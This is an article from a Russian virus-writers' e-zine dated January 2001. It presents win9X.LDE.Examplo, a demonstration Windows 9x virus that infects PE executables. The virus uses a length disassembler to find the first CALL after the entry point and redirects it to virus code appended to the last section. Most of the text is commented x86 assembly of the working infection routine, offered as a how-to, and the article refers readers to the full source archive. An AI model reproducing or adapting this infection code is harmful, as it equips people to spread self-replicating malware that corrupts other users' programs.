·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
│ │ │ │ ├─┤│ / │ ││││├┴┐┬├─ ┬│ ├─┤ │ ┬│ ││└┤ Issue #1, January-2001
··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························
············································································
ВИРУС win9X.LDE.Examplo [lde106_x.zip]
············································································
Этот вирус -- пример использования дизассемблера длин LDE 1.06.
Основой послужил win9X.Examplo, опубликованный в недавнем туториале о
win32 вирусах.
Напомню, что базовый вирус создавал нить в контексте текущего процесса
и во время работы этого процесса рекурсивно обходил все что мог и заражал
PE EXE файлы.
В этой модификации слегка изменен метод заражения файла. Вирус по
прежнему записывается в последнюю секцию, однако точка входа в файл
остается неизменной. Вместо этого вирус начиная от точки входа берет по
одной инструкции, пока не найдет CALL (по E8); затем аргумент этого CALL'а
заменяется на адрес точки входа вируса, а старое значение запоминается.
ProgramEntryPoint: InfectedProgramEntryPoint:
... ...
call Subroutine call Virus
... ...
Virus: ...
jmp Subroutine
Полные исходники вируса приводить здесь не считаю нужным; они есть в
архиве lde106_x.zip.
Вот тот момент, где применяется LDE:
; сейчас: EBP=начало вируса, EDX=запись в objecttable о первой секции,
; ECX-о последней, EBX=PE-заголовок, EDI=буфер с заражаемым файлом
...
lea eax, tbl-virstart[ebp]
push eax ; адрес таблицы флагов LDE32
call disasm_init ; распаковать в память таблицу
add esp, 4
; вычисляем физический оффсет точки входа в файле
mov eax, [ebx].pe_entrypointrva
sub eax, [edx].oe_virt_rva
cmp eax, [edx].oe_phys_size
jae __popa_error
add eax, [edx].oe_phys_offs
; ищем команду CALL
lea ebx, [edi+eax] ; EBX=точка входа
__cycle: cmp byte ptr [ebx], 0E8h ; call?
je __call_found
push ebx ; адрес дизассемблируемой инструкции
lea eax, tbl-virstart[ebp]
push eax ; адрес таблицы флагов LDE32
call disasm_main ; получить длину в EAX
add esp, 8
cmp eax, -1 ; ошибка?
je __popa_error
add ebx, eax ; к следующей инструкции
jmp __cycle
__call_found:
; нашли команду CALL:
mov eax, [ebx+1] ; берем ее старый аргумент
lea eax, [ebx+5+eax] ; преобразуем в оффсет
sub eax, edi
; конвертим физический оффсет в виртуальный
sub eax, [edx].oe_phys_offs
add eax, [edx].oe_virt_rva
; считаем херню
push edx
mov edx, [ecx].oe_virt_rva
add edx, [ecx].oe_phys_size
add edx, orig_addr+4-virstart
sub eax, edx
pop edx
; сохраняем адрес
mov orig_addr-virstart[ebp], eax
; берем вирт. адрес вируса в файле
mov eax, [ecx].oe_virt_rva
add eax, [ecx].oe_phys_size
add eax, virentry-virstart
mov [ebx+1], eax
; считаем всякую хрень
lea eax, [ebx+5]
sub eax, edi
sub eax, [edx].oe_phys_offs
add eax, [edx].oe_virt_rva
; выставляем аргумент у CALL'а -- поинтер на вирус
sub [ebx+1], eax
...
...
tbl db 2048 dup (?) ; таблица флагов LDE32
...
Как видно, если после точки входа CALL'а не окажется, произойдет жопа.
Но это ведь демонстрационный вирус, так что написан он весьма просто, да
еще с кучей комментариев.
············································································